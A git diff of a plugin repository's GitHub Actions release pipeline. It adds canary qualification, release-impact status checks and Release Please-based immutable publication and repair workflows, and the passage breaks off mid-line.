diff --git a/.agents/plugins/marketplace.json b/.agents/plugins/marketplace.json index 95e6243..efbb03d 100644 --- a/.agents/plugins/marketplace.json +++ b/.agents/plugins/marketplace.json @@ -1,7 +1,7 @@ { "name": "harness-native-plugin-prototype", "interface": { - "displayName": "Harness Native Plugin Prototype" + "displayName": "Harness Plugin Prototype" }, "plugins": [ { diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index 803bc40..1880753 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -4,7 +4,7 @@ "name": "Prototype" }, "metadata": { - "description": "Marketplace for Harness Native Plugin Prototype", + "description": "Marketplace for Harness Plugin Prototype", "version": "0.1.0" }, "plugins": [ @@ -14,7 +14,8 @@ "author": { "name": "Prototype" }, - "source": "./plugin" + "source": "./plugin", + "defaultEnabled": false } ] } diff --git a/.github/.release-please-manifest.json b/.github/.release-please-manifest.json index 466df71..0967ef4 100644 --- a/.github/.release-please-manifest.json +++ b/.github/.release-please-manifest.json @@ -1,3 +1 @@ -{ - ".": "0.1.0" -} +{} diff --git a/.github/release-please-config.json b/.github/release-please-config.json index b26615c..da9c7de 100644 --- a/.github/release-please-config.json +++ b/.github/release-please-config.json @@ -1,11 +1,13 @@ { "$schema": "https://raw.githubusercontent.com/googleapis/release-please/main/schemas/config.json", "include-component-in-tag": false, + "skip-github-release": true, "release-search-depth": 100, "commit-search-depth": 500, "packages": { ".": { "release-type": "node", + "initial-version": "0.1.0", "package-name": "agent-plugin", "changelog-path": "CHANGELOG.md", "changelog-sections": [ @@ -23,6 +25,7 @@ { "type": "json", "path": ".claude-plugin/marketplace.json", "jsonpath": "$.metadata.version" }, { "type": "json", "path": "plugin/.claude-plugin/plugin.json", "jsonpath": "$.version" }, { "type": "json", "path": "plugin/.codex-plugin/plugin.json", "jsonpath": "$.version" }, + { "type": "generic", "path": "plugin/hooks/codex/hooks.json" }, { "type": "generic", "path": "plugin/runtime/hello-world.js" } ] } diff --git a/.github/workflows/hosted-canary.yml b/.github/workflows/hosted-canary.yml new file mode 100644 index 0000000..dd7d348 --- /dev/null +++ b/.github/workflows/hosted-canary.yml @@ -0,0 +1,125 @@ +name: Hosted canary qualification + +on: + pull_request_target: + +permissions: + contents: read + +concurrency: + group: hosted-canary-${{ github.event.pull_request.number }}-${{ github.event.pull_request.head.sha }} + cancel-in-progress: true + +jobs: + classify: + name: Classify publishing-system paths + runs-on: ubuntu-24.04 + outputs: + required: ${{ steps.classify.outputs.required }} + triggers: ${{ steps.classify.outputs.triggers }} + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + ref: ${{ github.event.pull_request.base.sha }} + fetch-depth: 0 + - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 + with: + bun-version: 1.3.14 + - name: Fetch candidate object without executing it + env: + HEAD_REPOSITORY: ${{ github.event.pull_request.head.repo.full_name }} + HEAD_SHA: ${{ github.event.pull_request.head.sha }} + run: git fetch --no-tags "https://github.com/${HEAD_REPOSITORY}.git" "$HEAD_SHA" + - name: Classify with trusted base code + id: classify + env: + BASE_SHA: ${{ github.event.pull_request.base.sha }} + HEAD_SHA: ${{ github.event.pull_request.head.sha }} + run: | + result="$(bun run ship:canary -- --classify --base "$BASE_SHA" --head "$HEAD_SHA" --json)" + printf '%s\n' "$result" + printf 'required=%s\n' "$(jq -r '.canaries.required' <<< "$result")" >> "$GITHUB_OUTPUT" + printf 'triggers=%s\n' "$(jq -c '.canaries.triggeringPaths' <<< "$result")" >> "$GITHUB_OUTPUT" + + qualify: + name: Qualify immutable hosted candidates + if: needs.classify.outputs.required == 'true' && github.event.pull_request.head.repo.full_name == github.repository + needs: classify + runs-on: ubuntu-24.04 + environment: hosted-canary-qualification + steps: + - name: Check out trusted driver + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + ref: ${{ github.event.pull_request.base.sha }} + fetch-depth: 0 + - name: Check out candidate as data + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + repository: ${{ github.event.pull_request.head.repo.full_name }} + ref: ${{ github.event.pull_request.head.sha }} + path: candidate + persist-credentials: false + fetch-depth: 1 + - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 + with: + bun-version: 1.3.14 + - name: Install pinned native marketplace CLIs + run: bun add --global "@anthropic-ai/claude-code@2.1.222" "@openai/codex@0.146.1" + - name: Qualify immutable candidates with trusted driver + env: + CANARY_GH_TOKEN: ${{ secrets.CANARY_GH_TOKEN }} + CANARY_SSH_KNOWN_HOSTS: ${{ secrets.CANARY_SSH_KNOWN_HOSTS }} + CANARY_SSH_PRIVATE_KEY: ${{ secrets.CANARY_SSH_PRIVATE_KEY }} + SOURCE_SHA: ${{ github.event.pull_request.head.sha }} + CANARY_QUALIFIED_SOURCE_SHA: ${{ github.event.pull_request.head.sha }} + CANARY_TRUSTED_WORKFLOW_SHA: ${{ github.event.pull_request.base.sha }} + run: | + test -n "$CANARY_GH_TOKEN" + test -n "$CANARY_SSH_KNOWN_HOSTS" + test -n "$CANARY_SSH_PRIVATE_KEY" + export GH_TOKEN="$CANARY_GH_TOKEN" + gh auth setup-git + install -m 700 -d "$HOME/.ssh" + printf '%s\n' "$CANARY_SSH_KNOWN_HOSTS" > "$HOME/.ssh/known_hosts" + chmod 600 "$HOME/.ssh/known_hosts" + eval "$(ssh-agent -s)" + trap 'ssh-agent -k >/dev/null' EXIT + ssh-add - <<< "$CANARY_SSH_PRIVATE_KEY" + unset CANARY_GH_TOKEN CANARY_SSH_KNOWN_HOSTS CANARY_SSH_PRIVATE_KEY + git remote set-url origin "git@github.com:${GITHUB_REPOSITORY}.git" + bun run ship:canary -- --execute --source-root candidate --ref "$SOURCE_SHA" --json + + result: + name: Hosted public and private Git canaries + if: always() + needs: + - classify + - qualify + runs-on: ubuntu-24.04 + steps: + - name: Enforce conditional qualification + env: + CANARIES_REQUIRED: ${{ needs.classify.outputs.required }} + CLASSIFICATION_RESULT: ${{ needs.classify.result }} + QUALIFICATION_RESULT: ${{ needs.qualify.result }} + SAME_REPOSITORY: ${{ github.event.pull_request.head.repo.full_name == github.repository }} + TRIGGERING_PATHS: ${{ needs.classify.outputs.triggers }} + run: | + conclusion=success + summary="Hosted canaries not required. Publishing-system triggers: ${TRIGGERING_PATHS}" + if [ "$CLASSIFICATION_RESULT" != "success" ]; then + conclusion=failure + summary="Publishing-system classification failed." + elif [ "$CANARIES_REQUIRED" = "true" ] && [ "$SAME_REPOSITORY" != "true" ]; then + conclusion=failure + summary="Hosted canaries were required for this fork pull request. A maintainer must run qualification from a same-repository branch. Publishing-system triggers: ${TRIGGERING_PATHS}" + elif [ "$CANARIES_REQUIRED" = "true" ] && [ "$QUALIFICATION_RESULT" != "success" ]; then + conclusion=failure + summary="Hosted canaries were required but did not qualify. Publishing-system triggers: ${TRIGGERING_PATHS}" + elif [ "$CANARIES_REQUIRED" = "true" ]; then + summary="Hosted public and private Git canaries passed for: ${TRIGGERING_PATHS}" + fi + printf '%s\n' "$summary" + printf '### Hosted canary qualification\n\n%s\n' "$summary" >> "$GITHUB_STEP_SUMMARY" + test "$conclusion" = "success" diff --git a/.github/workflows/plugin-ci.yml b/.github/workflows/plugin-ci.yml index bd05e71..5567f06 100644 --- a/.github/workflows/plugin-ci.yml +++ b/.github/workflows/plugin-ci.yml @@ -2,21 +2,10 @@ name: Prove and package plugin on: pull_request: - paths: - - "plugin/**" - - "runtime/src/**" - - "plugin.config.json" - - "scripts/**" - - "package.json" - - "CHANGELOG.md" - - ".agents/plugins/marketplace.json" - - ".claude-plugin/marketplace.json" - - ".github/.release-please-manifest.json" - - ".github/release-please-config.json" - - ".github/workflows/**" push: branches: - main + - "candidate/**" workflow_dispatch: permissions: @@ -58,7 +47,11 @@ jobs: - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 with: bun-version: 1.3.14 + - name: Install pinned native marketplace CLIs + run: bun add --global "@anthropic-ai/claude-code@2.1.222" "@openai/codex@0.146.1" + - run: bun run generate:check - run: bun test + - run: bun run prove:harness-install -- --require-native - run: bun run release:validate - run: bun run prove:distribution - run: bun run prove:dx @@ -69,7 +62,7 @@ jobs: name: agent-plugin-${{ github.sha }} path: | dist/*.tar.gz - dist/*.provenance.json + dist/*.checksums.json if-no-files-found: error attest: diff --git a/.github/workflows/release-impact.yml b/.github/workflows/release-impact.yml new file mode 100644 index 0000000..f439873 --- /dev/null +++ b/.github/workflows/release-impact.yml @@ -0,0 +1,106 @@ +name: Release impact + +on: + pull_request_target: + types: + - opened + - edited + - reopened + - synchronize + +permissions: + contents: read + statuses: write + +env: + STATUS_CONTEXT: Release impact + +concurrency: + group: release-impact-${{ github.event.pull_request.number }} + cancel-in-progress: true + +jobs: + qualify: + name: Qualify from trusted base code + runs-on: ubuntu-24.04 + env: + BASE_SHA: ${{ github.event.pull_request.base.sha }} + HEAD_SHA: ${{ github.event.pull_request.head.sha }} + PR_TITLE: ${{ github.event.pull_request.title }} + PR_NUMBER: ${{ github.event.pull_request.number }} + PR_HEAD_REF: ${{ github.event.pull_request.head.ref }} + PR_AUTHOR_LOGIN: ${{ github.event.pull_request.user.login }} + PR_URL: ${{ github.event.pull_request.html_url }} + EXPECTED_RELEASE_PLEASE_LOGIN: ${{ vars.RELEASE_PLEASE_AUTOMATION_LOGIN || 'github-actions[bot]' }} + GH_TOKEN: ${{ github.token }} + steps: + - name: Mark the head commit pending + run: | + gh api --method POST "repos/${GITHUB_REPOSITORY}/statuses/${HEAD_SHA}" \ + --raw-field state=pending \ + --raw-field context="${STATUS_CONTEXT}" \ + --raw-field description="Release impact qualification in progress" \ + --raw-field target_url="${PR_URL}" + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + fetch-depth: 0 + ref: ${{ github.event.pull_request.base.sha }} + persist-credentials: false + - name: Fetch the pull request head as untrusted data + run: git fetch --no-tags origin "refs/pull/${PR_NUMBER}/head" + - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 + with: + bun-version: 1.3.14 + - name: Classify payload changes + id: impact + continue-on-error: true + run: >- + bun run scripts/release-impact.ts + --pr-head-ref "$PR_HEAD_REF" + --pr-author-login "$PR_AUTHOR_LOGIN" + --expected-release-please-login "$EXPECTED_RELEASE_PLEASE_LOGIN" + - name: Publish the bound result + if: always() + env: + IMPACT_OUTCOME: ${{ steps.impact.outcome }} + run: | + state=failure + description="Release impact qualification failed" + if [[ "${IMPACT_OUTCOME}" == "success" ]]; then + if current_pr=$(gh api "repos/${GITHUB_REPOSITORY}/pulls/${PR_NUMBER}"); then + current_head_sha=$(jq -r .head.sha <<< "$current_pr") + current_title=$(jq -r .title <<< "$current_pr") + else + description="Release impact could not read current pull request" + current_head_sha="" + current_title="" + fi + if [[ -n "$current_head_sha" && "$current_head_sha" == "$HEAD_SHA" ]] && \ + PR_TITLE="$current_title" bun run scripts/release-impact.ts \ + --pr-head-ref "$PR_HEAD_REF" \ + --pr-author-login "$PR_AUTHOR_LOGIN" \ + --expected-release-please-login "$EXPECTED_RELEASE_PLEASE_LOGIN" >/dev/null; then + if verified_pr=$(gh api "repos/${GITHUB_REPOSITORY}/pulls/${PR_NUMBER}"); then + verified_head_sha=$(jq -r .head.sha <<< "$verified_pr") + verified_title=$(jq -r .title <<< "$verified_pr") + else + description="Release impact could not verify the pull request after qualification" + verified_head_sha="" + verified_title="" + fi + if [[ -n "$verified_head_sha" && "$verified_head_sha" == "$current_head_sha" && "$verified_title" == "$current_title" ]]; then + state=success + description="Release impact qualification passed" + fi + elif [[ -n "$current_head_sha" ]]; then + description="Release impact changed before qualification completed" + fi + fi + gh api --method POST "repos/${GITHUB_REPOSITORY}/statuses/${HEAD_SHA}" \ + --raw-field state="${state}" \ + --raw-field context="${STATUS_CONTEXT}" \ + --raw-field description="${description}" \ + --raw-field target_url="${PR_URL}" + if [[ "${state}" != "success" ]]; then + exit 1 + fi diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 61987f8..79fa80c 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -6,21 +6,317 @@ on: - main workflow_dispatch: inputs: + operation: + description: Maintain the release PR or repair an admitted immutable release + required: true + default: maintenance + type: choice + options: + - maintenance + - repair release_tag: - description: Existing vX.Y.Z tag whose assets need repair; leave empty for normal release maintenance + description: Existing vX.Y.Z tag whose incomplete publication needs repair required: false type: string + replace_mismatched_assets: + description: Replace mismatched same-tag assets after release-environment approval + required: true + default: false + type: boolean permissions: contents: read -concurrency: - group: release-${{ github.ref }} - cancel-in-progress: false - jobs: + resolve: + name: Resolve publication state + runs-on: ubuntu-24.04 + permissions: + actions: read + contents: read + pull-requests: read + outputs: + mode: ${{ steps.resolve.outputs.mode }} + candidate_sha: ${{ steps.resolve.outputs.candidate_sha }} + release_tag: ${{ steps.resolve.outputs.release_tag }} + version: ${{ steps.resolve.outputs.version }} + release_target_sha: ${{ steps.resolve.outputs.release_target_sha }} + record_reused: ${{ steps.resolve.outputs.record_reused }} + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + fetch-depth: 0 + - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 + with: + bun-version: 1.3.14 + - name: Resolve unique candidate or immutable repair tag + id: resolve + env: + GH_TOKEN: ${{ github.token }} + BASE_BRANCH: main + EXPECTED_RELEASE_PLEASE_LOGIN: ${{ vars.RELEASE_PLEASE_AUTOMATION_LOGIN || 'github-actions[bot]' }} + REPAIR_TAG: ${{ inputs.release_tag }} + OPERATION: ${{ inputs.operation }} + shell: bash + run: | + set -euo pipefail + if [[ "$GITHUB_EVENT_NAME" == "workflow_dispatch" ]]; then + if [[ "$OPERATION" == "maintenance" ]]; then + { + echo "mode=maintenance" + echo "candidate_sha=" + echo "release_tag=" + echo "version=" + echo "release_target_sha=" + echo "record_reused=false" + } >> "$GITHUB_OUTPUT" + exit 0 + fi + if [[ "$OPERATION" != "repair" ]]; then + echo "Unsupported manual operation: ${OPERATION}." >&2 + exit 1 + fi + if [[ -z "$REPAIR_TAG" ]]; then + echo "Manual repair requires release_tag." >&2 + exit 1 + fi + gh api "repos/${GITHUB_REPOSITORY}/git/ref/tags/${REPAIR_TAG}" >/dev/null + candidate_sha=$(gh api "repos/${GITHUB_REPOSITORY}/commits/${REPAIR_TAG}" --jq .sha) + version=${REPAIR_TAG#v} + release_target_sha="" + if gh release view "$REPAIR_TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then + release_target=$(gh release view "$REPAIR_TAG" --repo "$GITHUB_REPOSITORY" --json targetCommitish --jq .targetCommitish) + release_target_sha=$(gh api "repos/${GITHUB_REPOSITORY}/commits/${release_target}" --jq .sha) + fi + + git fetch --no-tags origin "refs/tags/${REPAIR_TAG}:refs/tags/${REPAIR_TAG}" + if [[ "$(git cat-file -t "refs/tags/${REPAIR_TAG}")" != "tag" ]]; then + echo "Repair requires an annotated immutable tag carrying its publication admission." >&2 + exit 1 + fi + git for-each-ref --format='%(contents)' "refs/tags/${REPAIR_TAG}" > persisted-candidate.json + pr_number=$(jq -er '.pullRequest | select(type == "number" and . > 0 and . == floor)' persisted-candidate.json) + release_pr=$(gh api "repos/${GITHUB_REPOSITORY}/pulls/${pr_number}") + base_branch=$(jq -r .base.ref <<< "$release_pr") + automation_identity=$(jq -r .user.login <<< "$release_pr") + merge_commit_sha=$(jq -r .merge_commit_sha <<< "$release_pr") + merged_at=$(jq -r '.merged_at // empty' <<< "$release_pr") + if [[ -z "$merged_at" || "$base_branch" != "$BASE_BRANCH" || "$automation_identity" != "$EXPECTED_RELEASE_PLEASE_LOGIN" || "$merge_commit_sha" != "$candidate_sha" ]]; then + echo "Repair provenance does not match a merged Release Please candidate." >&2 + exit 1 + fi + parent_count=$(gh api "repos/${GITHUB_REPOSITORY}/commits/${candidate_sha}" --jq '.parents | length') + if [[ "$parent_count" != "2" ]]; then + echo "Repair provenance is not a supported two-parent merge commit." >&2 + exit 1 + fi + projection=$(gh api --paginate "repos/${GITHUB_REPOSITORY}/pulls/${pr_number}/files" \ + | jq -sc 'add | map({filename,status,sha}) | sort_by(.filename)') + printf '%s\n' "$projection" > repair-projection.json + base_parent=$(gh api "repos/${GITHUB_REPOSITORY}/commits/${candidate_sha}" --jq '.parents[0].sha') + projection_result=$(bun run scripts/release-projection.ts \ + --base "$base_parent" \ + --head "$candidate_sha" \ + --projection repair-projection.json \ + --json) + projection_digest=$(jq -r .projectionDigest <<< "$projection_result") + manifest_version=$(gh api "repos/${GITHUB_REPOSITORY}/contents/plugin.config.json?ref=${candidate_sha}" --jq .content \ + | tr -d '\n' | base64 --decode | jq -r .version) + jq -nS \ + --argjson number "$pr_number" \ + --arg baseBranch "$base_branch" \ + --arg automationIdentity "$automation_identity" \ + --arg mergeCommit "$merge_commit_sha" \ + --arg projectionDigest "$projection_digest" \ + --argjson changedFiles "$(jq '[.[].filename]' repair-projection.json)" \ + --argjson changedFileStatuses "$(jq '[.[].status]' repair-projection.json)" \ + '{number:$number,baseBranch:$baseBranch,automationIdentity:$automationIdentity,mergeCommit:$mergeCommit,mergeMode:"merge",changedFiles:$changedFiles,changedFileStatuses:$changedFileStatuses,projectionDigest:$projectionDigest}' \ + > trusted-repair-candidate.json + REPAIR_REPOSITORY="$GITHUB_REPOSITORY" \ + REPAIR_BASE_BRANCH="$BASE_BRANCH" \ + REPAIR_AUTOMATION_LOGIN="$EXPECTED_RELEASE_PLEASE_LOGIN" \ + REPAIR_TAG="$REPAIR_TAG" \ + REPAIR_SHA="$candidate_sha" \ + REPAIR_VERSION="$manifest_version" \ + REPAIR_RELEASE_TARGET_SHA="$release_target_sha" \ + bun -e ' + import { readFileSync } from "node:fs"; + import { validateRepairCandidateBinding } from "./scripts/release-validate.ts"; + validateRepairCandidateBinding({ + candidate: JSON.parse(readFileSync("persisted-candidate.json", "utf8")), + trustedCandidate: JSON.parse(readFileSync("trusted-repair-candidate.json", "utf8")), + repository: process.env.REPAIR_REPOSITORY ?? "", + expectedBaseBranch: process.env.REPAIR_BASE_BRANCH ?? "", + expectedAutomationIdentities: [process.env.REPAIR_AUTOMATION_LOGIN ?? ""], + tag: process.env.REPAIR_TAG ?? "", + checkoutSha: process.env.REPAIR_SHA ?? "", + tagSha: process.env.REPAIR_SHA ?? "", + manifestVersion: process.env.REPAIR_VERSION ?? "", + releaseTargetSha: process.env.REPAIR_RELEASE_TARGET_SHA || undefined, + }); + ' + { + echo "mode=repair" + echo "candidate_sha=${candidate_sha}" + echo "release_tag=${REPAIR_TAG}" + echo "version=${version}" + echo "release_target_sha=${release_target_sha}" + echo "record_reused=false" + } >> "$GITHUB_OUTPUT" + exit 0 + fi + + associated_prs=$(gh api \ + -H "Accept: application/vnd.github+json" \ + "repos/${GITHUB_REPOSITORY}/commits/${GITHUB_SHA}/pulls") + release_prs=$(jq -c '[.[] | select(.head.ref | startswith("release-please--branches--"))]' <<< "$associated_prs") + release_pr_count=$(jq 'length' <<< "$release_prs") + if [[ "$release_pr_count" == "0" ]]; then + { + echo "mode=maintenance" + echo "candidate_sha=" + echo "release_tag=" + echo "version=" + echo "release_target_sha=" + echo "record_reused=false" + } >> "$GITHUB_OUTPUT" + exit 0 + fi + if [[ "$release_pr_count" != "1" ]]; then + echo "Publication admission requires exactly one merged Release Please PR; received ${release_pr_count}." >&2 + exit 1 + fi + + release_pr=$(jq -c '.[0]' <<< "$release_prs") + pr_number=$(jq -r .number <<< "$release_pr") + base_branch=$(jq -r .base.ref <<< "$release_pr") + automation_identity=$(jq -r .user.login <<< "$release_pr") + merge_commit_sha=$(jq -r .merge_commit_sha <<< "$release_pr") + merged_at=$(jq -r '.merged_at // empty' <<< "$release_pr") + if [[ -z "$merged_at" || "$base_branch" != "$BASE_BRANCH" || "$automation_identity" != "$EXPECTED_RELEASE_PLEASE_LOGIN" || "$merge_commit_sha" != "$GITHUB_SHA" ]]; then + echo "Release Please candidate identity, base branch, merge state, or merge_commit_sha is not bound to github.sha." >&2 + exit 1 + fi + parent_count=$(gh api "repos/${GITHUB_REPOSITORY}/commits/${GITHUB_SHA}" --jq '.parents | length') + if [[ "$parent_count" != "2" ]]; then + echo "Only a two-parent merge commit is supported for publication." >&2 + exit 1 + fi + + projection=$(gh api --paginate "repos/${GITHUB_REPOSITORY}/pulls/${pr_number}/files" \ + | jq -sc 'add | map({filename,status,sha}) | sort_by(.filename)') + printf '%s\n' "$projection" > release-projection.json + base_parent=$(gh api "repos/${GITHUB_REPOSITORY}/commits/${GITHUB_SHA}" --jq '.parents[0].sha') + projection_result=$(bun run scripts/release-projection.ts \ + --base "$base_parent" \ + --head "$GITHUB_SHA" \ + --projection release-projection.json \ + --json) + projection_digest=$(jq -r .projectionDigest <<< "$projection_result") + version=$(gh api "repos/${GITHUB_REPOSITORY}/contents/plugin.config.json?ref=${GITHUB_SHA}" --jq .content \ + | tr -d '\n' | base64 --decode | jq -r .version) + release_tag="v${version}" + if gh api "repos/${GITHUB_REPOSITORY}/git/ref/tags/${release_tag}" >/dev/null 2>&1; then + echo "Candidate tag ${release_tag} already exists; use manual incomplete-publication repair." >&2 + exit 1 + fi + + jq -nS \ + --arg repository "$GITHUB_REPOSITORY" \ + --arg baseBranch "$BASE_BRANCH" \ + --argjson pullRequest "$pr_number" \ + --arg automationIdentity "$automation_identity" \ + --arg mergeCommit "$GITHUB_SHA" \ + --arg version "$version" \ + --arg tag "$release_tag" \ + --arg projectionDigest "$projection_digest" \ + '{repository:$repository,baseBranch:$baseBranch,pullRequest:$pullRequest,automationIdentity:$automationIdentity,mergeCommit:$mergeCommit,version:$version,tag:$tag,expectedTagState:"absent",projectionDigest:$projectionDigest}' \ + > candidate.json + + record_reused=false + artifact_id=$(gh api "repos/${GITHUB_REPOSITORY}/actions/artifacts?name=publication-candidate-${GITHUB_SHA}" \ + --jq '.artifacts | map(select(.expired == false)) | sort_by(.created_at) | reverse | .[0].id // empty') + if [[ -n "$artifact_id" ]]; then + gh api "repos/${GITHUB_REPOSITORY}/actions/artifacts/${artifact_id}/zip" > prior-candidate.zip + unzip -p prior-candidate.zip candidate.json > prior-candidate.json + if ! cmp --silent candidate.json prior-candidate.json; then + echo "Persisted publication candidate record is rebound to another release state." >&2 + exit 1 + fi + record_reused=true + fi + { + echo "mode=publish" + echo "candidate_sha=${GITHUB_SHA}" + echo "release_tag=${release_tag}" + echo "version=${version}" + echo "release_target_sha=" + echo "record_reused=${record_reused}" + } >> "$GITHUB_OUTPUT" + - name: Persist publication candidate before proof + if: steps.resolve.outputs.mode == 'publish' && steps.resolve.outputs.record_reused != 'true' + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: publication-candidate-${{ github.sha }} + path: candidate.json + if-no-files-found: error + retention-days: 90 + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + if: steps.resolve.outputs.mode != 'maintenance' + with: + ref: ${{ steps.resolve.outputs.candidate_sha }} + fetch-depth: 0 + - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 + if: steps.resolve.outputs.mode != 'maintenance' + with: + bun-version: 1.3.14 + - name: Validate candidate metadata before proof + if: steps.resolve.outputs.mode == 'publish' + env: + EXPECTED_VERSION: ${{ steps.resolve.outputs.version }} + run: | + set -euo pipefail + actual_version=$(bun run release:validate -- --json | jq -r .version) + [[ "$actual_version" == "$EXPECTED_VERSION" ]] + maintain: + name: Maintain Release Please PR only + if: needs.resolve.outputs.mode == 'maintenance' + needs: resolve + concurrency: + group: release-maintenance + cancel-in-progress: false + runs-on: ubuntu-24.04 + permissions: + contents: write + pull-requests: write + issues: write + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - name: Pin only the first release to v0.1.0 + id: bootstrap-version + shell: bash + run: | + set -euo pipefail + release_as="" + if [[ "$(jq 'length' .github/.release-please-manifest.json)" == "0" ]]; then + release_as="0.1.0" + fi + echo "release_as=${release_as}" >> "$GITHUB_OUTPUT" + # skip-github-release is set in release-please config. The action may maintain PRs but cannot tag or create a GitHub Release. + - name: Maintain release pull request + uses: googleapis/release-please-action@45996ed1f6d02564a971a2fa1b5860e934307cf7 # v5.0.0 + with: + token: ${{ secrets.RELEASE_PLEASE_TOKEN }} + config-file: .github/release-please-config.json + manifest-file: .github/.release-please-manifest.json + release-as: ${{ steps.bootstrap-version.outputs.release_as }} + compatibility: name: Release compatibility (${{ matrix.target }}) + if: needs.resolve.outputs.mode == 'publish' || needs.resolve.outputs.mode == 'repair' + needs: resolve strategy: fail-fast: false matrix: @@ -37,7 +333,7 @@ jobs: steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: - ref: ${{ inputs.release_tag || github.sha }} + ref: ${{ needs.resolve.outputs.candidate_sha }} - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 with: bun-version: 1.3.14 @@ -45,59 +341,316 @@ jobs: package: name: Prove release candidate - needs: compatibility + if: needs.resolve.outputs.mode == 'publish' || needs.resolve.outputs.mode == 'repair' + needs: + - resolve + - compatibility runs-on: ubuntu-24.04 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: - ref: ${{ inputs.release_tag || github.sha }} + ref: ${{ needs.resolve.outputs.candidate_sha }} - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 with: bun-version: 1.3.14 + - name: Install pinned native marketplace CLIs + run: bun add --global "@anthropic-ai/claude-code@2.1.222" "@openai/codex@0.146.1" - name: Validate and prove release payload - run: bun run prove:all - - name: Reject generated runtime drift - run: git diff --exit-code -- plugin/runtime/hello-world.js + env: + SOURCE_COMMIT: ${{ needs.resolve.outputs.candidate_sha }} + run: | + bun run prove:all + bun run prove:distribution + - name: Reject generated release-surface drift + run: git diff --exit-code -- plugin/runtime/hello-world.js plugin/hooks/codex/hooks.json + - name: Bind checksum metadata to candidate + env: + CANDIDATE_SHA: ${{ needs.resolve.outputs.candidate_sha }} + RELEASE_TAG: ${{ needs.resolve.outputs.release_tag }} + VERSION: ${{ needs.resolve.outputs.version }} + run: | + set -euo pipefail + checksums=$(find dist -maxdepth 1 -name '*.checksums.json' -print -quit) + [[ -n "$checksums" ]] + checksums_repository=$(jq -er .repository "$checksums") + checksums_repository_identity=$(bun -e 'import { canonicalGitHubRepositoryIdentity } from "./scripts/release-validate.ts"; process.stdout.write(canonicalGitHubRepositoryIdentity(process.argv.at(-1) ?? ""))' "$checksums_repository") + expected_repository_identity=$(bun -e 'import { canonicalGitHubRepositoryIdentity } from "./scripts/release-validate.ts"; process.stdout.write(canonicalGitHubRepositoryIdentity(process.argv.at(-1) ?? ""))' "$GITHUB_REPOSITORY") + if [[ "$checksums_repository_identity" != "$expected_repository_identity" ]]; then + echo "Packaged GitHub repository does not match the workflow repository." >&2 + exit 1 + fi + jq -e \ + --arg sourceCommit "$CANDIDATE_SHA" \ + --arg tag "$RELEASE_TAG" \ + --arg version "$VERSION" \ + '.sourceCommit == $sourceCommit and .tag == $tag and .version == $version' \ + "$checksums" - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 with: name: release-candidate-${{ github.run_id }} + overwrite: true path: | dist/*.tar.gz - dist/*.provenance.json + dist/*.checksums.json if-no-files-found: error release: - name: Maintain release PR or publish - needs: package + name: Publish or repair immutable release + if: needs.resolve.outputs.mode == 'publish' || needs.resolve.outputs.mode == 'repair' + needs: + - resolve + - package + concurrency: + group: release-publication-${{ needs.resolve.outputs.release_tag }} + cancel-in-progress: false runs-on: ubuntu-24.04 + environment: release permissions: actions: read contents: write - pull-requests: write - issues: write id-token: write attestations: write steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + ref: ${{ needs.resolve.outputs.candidate_sha }} + fetch-depth: 0 + - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 + with: + bun-version: 1.3.14 - name: Download proven release candidate env: GH_TOKEN: ${{ github.token }} - run: gh run download "$GITHUB_RUN_ID" --repo "$GITHUB_REPOSITORY" --name "release-candidate-${GITHUB_RUN_ID}" --dir dist - - name: Maintain release PR or publish merged release - if: github.event_name != 'workflow_dispatch' || inputs.release_tag == '' - id: release - uses: googleapis/release-please-action@45996ed1f6d02564a971a2fa1b5860e934307cf7 # v5.0.0 - with: - token: ${{ secrets.RELEASE_PLEASE_TOKEN || secrets.GITHUB_TOKEN }} - config-file: .github/release-please-config.json - manifest-file: .github/.release-please-manifest.json - - name: Attach deterministic plugin package - if: steps.release.outputs.release_created == 'true' || inputs.release_tag != '' + ARTIFACT_NAME: release-candidate-${{ github.run_id }} + run: gh run download "$GITHUB_RUN_ID" --repo "$GITHUB_REPOSITORY" --name "$ARTIFACT_NAME" --dir dist + - name: Download persisted publication candidate + env: + GH_TOKEN: ${{ github.token }} + MODE: ${{ needs.resolve.outputs.mode }} + CANDIDATE_SHA: ${{ needs.resolve.outputs.candidate_sha }} + RELEASE_TAG: ${{ needs.resolve.outputs.release_tag }} + run: | + set -euo pipefail + if [[ "$MODE" == "repair" ]]; then + git fetch --no-tags origin "refs/tags/${RELEASE_TAG}:refs/tags/${RELEASE_TAG}" + if [[ "$(git cat-file -t "refs/tags/${RELEASE_TAG}")" != "tag" ]]; then + echo "Repair requires an 